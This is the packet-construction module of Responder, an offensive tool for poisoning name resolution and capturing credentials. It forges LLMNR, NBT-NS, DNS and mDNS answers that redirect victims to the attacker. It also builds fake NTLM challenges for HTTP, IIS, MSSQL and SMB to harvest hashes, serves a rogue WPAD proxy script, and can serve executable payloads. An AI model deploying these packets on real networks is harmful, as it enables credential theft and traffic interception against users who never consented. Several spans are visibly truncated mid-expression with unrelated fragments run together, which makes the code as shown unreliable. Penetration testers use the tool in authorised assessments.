#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct import settings from base64 import b64decode, b64encode from odict import OrderedDict # Packet class handling all packet generation (see odict.py). class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) # NBT Answer Packet class NBT_Ans(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x85\x00"), ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("NbtName", ""), ("Type", "\x00\x20"), ("Classy", "\x00\x01"), ("TTL", "\x00\x00\x00\xa5"), ("Len", "\x00\x06"), ("Flags1", "\x00\x00"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["NbtName"] = data[12:46] self.fields["IP"] = settings.Config.IP_aton # DNS Answer Packet class DNS_Ans(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x80\x10"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("AnswerPointer", "\xc0\x0c"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["IP"] = settings.Config.IP_aton self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) # LLMNR Answer Packet class LLMNR_Ans(Packet): fields = OrderedDict([ ("Tid", ""), ("Flags", "\x80\x00"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("QuestionNameLen", "\x09"), ("QuestionName", ""), ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("AnswerNameLen", "\x09"), ("AnswerName", ""), ("AnswerNameNull", "\x00"), ("Type1", "\x00\x01"), ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self): self.fields["IP"] = settings.Config.IP_aton self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] # MDNS Answer Packet class MDNS_Ans(Packet): fields = OrderedDict([ ("Tid", "\x00\x00"), ("Flags", "\x84\x00"), ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("AnswerName", ""), ("AnswerNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self): self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) ##### HTTP Packets ##### class NTLM_Challenge(Packet): fields = OrderedDict([ ("Signature", "NTLMSSP"), ("SignatureNull", "\x00"), ("MessageType", "\x02\x00\x00\x00"), ("TargetNameLen", "\x06\x00"), ("TargetNameMaxLen", "\x06\x00"), ("TargetNameOffset", "\x38\x00\x00\x00"), ("NegoFlags", "\x05\x02\x89\xa2"), ("ServerChallenge", ""), ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("TargetInfoLen", "\x7e\x00"), ("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"), ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), ("TargetNameStr", "SMB"), ("Av1", "\x02\x00"),#nbt name ("Av1Len", "\x06\x00"), ("Av1Str", "SMB"), ("Av2", "\x01\x00"),#Server name ("Av2Len", "\x14\x00"), ("Av2Str", "SMB-TOOLKIT"), ("Av3", "\x04\x00"),#Full Domain name ("Av3Len", "\x12\x00"), ("Av3Str", "smb.local"), ("Av4", "\x03\x00"),#Full machine domain name ("Av4Len", "\x28\x00"), ("Av4Str", "server2003.smb.local"), ("Av5", "\x05\x00"),#Domain Forest Name ("Av5Len", "\x12\x00"), ("Av5Str", "smb.local"), ("Av6", "\x00\x00"),#AvPairs Terminator ("Av6Len", "\x00\x00"), ]) def calculate(self): # First convert to unicode self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') # Then calculate CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) # Target Name Offsets self.fields["TargetNameOffset"] = struct.pack("\n\n\n\nLoading\n\n\n"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) class IIS_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWWAuth", "WWW-Authenticate: NTLM "), ("Payload", ""), ("Payload-CRLF", "\r\n"), ("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"), ("Len", "Content-Length: 0\r\n"), ("CRLF", "\r\n"), ]) def calculate(self,payload): self.fields["Payload"] = b64encode(payload) class IIS_Basic_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("Len", "Content-Length: 0\r\n"), ("CRLF", "\r\n"), ]) ##### Proxy mode Packets ##### class WPADScript(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) class ServeExeFile(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), ("ContentType", "Content-Type: application/octet-stream\r\n"), ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"), ("Server", "Server: Microsoft-IIS/7.5\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), ("Connection", "Connection: keep-alive\r\n"), ("X-CCC", "US\r\n"), ("X-CID", "2\r\n"), ("CRLF", "\r\n"), ("Payload", "jj"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) class ServeHtmlFile(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), ("ContentType", "Content-Type: text/html\r\n"), ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"), ("Server", "Server: Microsoft-IIS/7.5\r\n"), ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), ("Connection", "Connection: keep-alive\r\n"), ("X-CCC", "US\r\n"), ("X-CID", "2\r\n"), ("CRLF", "\r\n"), ("Payload", "jj"), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) ##### FTP Packets ##### class FTPPacket(Packet): fields = OrderedDict([ ("Code", "220"), ("Separator", "\x20"), ("Message", "Welcome"), ("Terminator", "\x0d\x0a"), ]) ##### SQL Packets ##### class MSSQLPreLoginAnswer(Packet): fields = OrderedDict([ ("PacketType", "\x04"), ("Status", "\x01"), ("Len", "\x00\x25"), ("SPID", "\x00\x00"), ("PacketID", "\x01"), ("Window", "\x00"), ("TokenType", "\x00"), ("VersionOffset", "\x00\x15"), ("VersionLen", "\x00\x06"), ("TokenType1", "\x01"), ("EncryptionOffset", "\x00\x1b"), ("EncryptionLen", "\x00\x01"), ("TokenType2", "\x02"), ("InstOptOffset", "\x00\x1c"), ("InstOptLen", "\x00\x01"), ("TokenTypeThrdID", "\x03"), ("ThrdIDOffset", "\x00\x1d"), ("ThrdIDLen", "\x00\x00"), ("ThrdIDTerminator", "\xff"), ("VersionStr", "\x09\x00\x0f\xc3"), ("SubBuild", "\x00\x00"), ("EncryptionStr", "\x02"), ("InstOptStr", "\x00"), ]) def calculate(self): CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) #Version self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) #Encryption self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) #InstOpt self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) #ThrdIDOffset self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) class MSSQLNTLMChallengeAnswer(Packet): fields = OrderedDict([ ("PacketType", "\x04"), ("Status", "\x01"), ("Len", "\x00\xc7"), ("SPID", "\x00\x00"), ("PacketID", "\x01"), ("Window", "\x00"), ("TokenType", "\xed"), ("SSPIBuffLen", "\xbc\x00"), ("Signature", "NTLMSSP"), ("SignatureNull", "\x00"), ("MessageType", "\x02\x00\x00\x00"), ("TargetNameLen", "\x06\x00"), ("TargetNameMaxLen", "\x06\x00"), ("TargetNameOffset", "\x38\x00\x00\x00"), ("NegoFlags", "\x05\x02\x89\xa2"), ("ServerChallenge", ""), ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("TargetInfoLen", "\x7e\x00"), ("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"), ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), ("TargetNameStr", "SMB"), ("Av1", "\x02\x00"),#nbt name ("Av1Len", "\x06\x00"), ("Av1Str", "SMB"), ("Av2", "\x01\x00"),#Server name ("Av2Len", "\x14\x00"), ("Av2Str", "SMB-TOOLKIT"), ("Av3", "\x04\x00"),#Full Domain name ("Av3Len", "\x12\x00"), ("Av3Str", "smb.local"), ("Av4", "\x03\x00"),#Full machine domain name ("Av4Len", "\x28\x00"), ("Av4Str", "server2003.smb.local"), ("Av5", "\x05\x00"),#Domain Forest Name ("Av5Len", "\x12\x00"), ("Av5Str", "smb.local"), ("Av6", "\x00\x00"),#AvPairs Terminator ("Av6Len", "\x00\x00"), ]) def calculate(self): # First convert to unicode self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') # Then calculate CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) self.fields["SSPIBuffLen"] = struct.pack("i", len(CalculatePacketLen)) self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) ##### Workstation Offset Calculation: self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) ###### Andxoffset calculation. CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen self.fields["Andxoffset"] = struct.pack("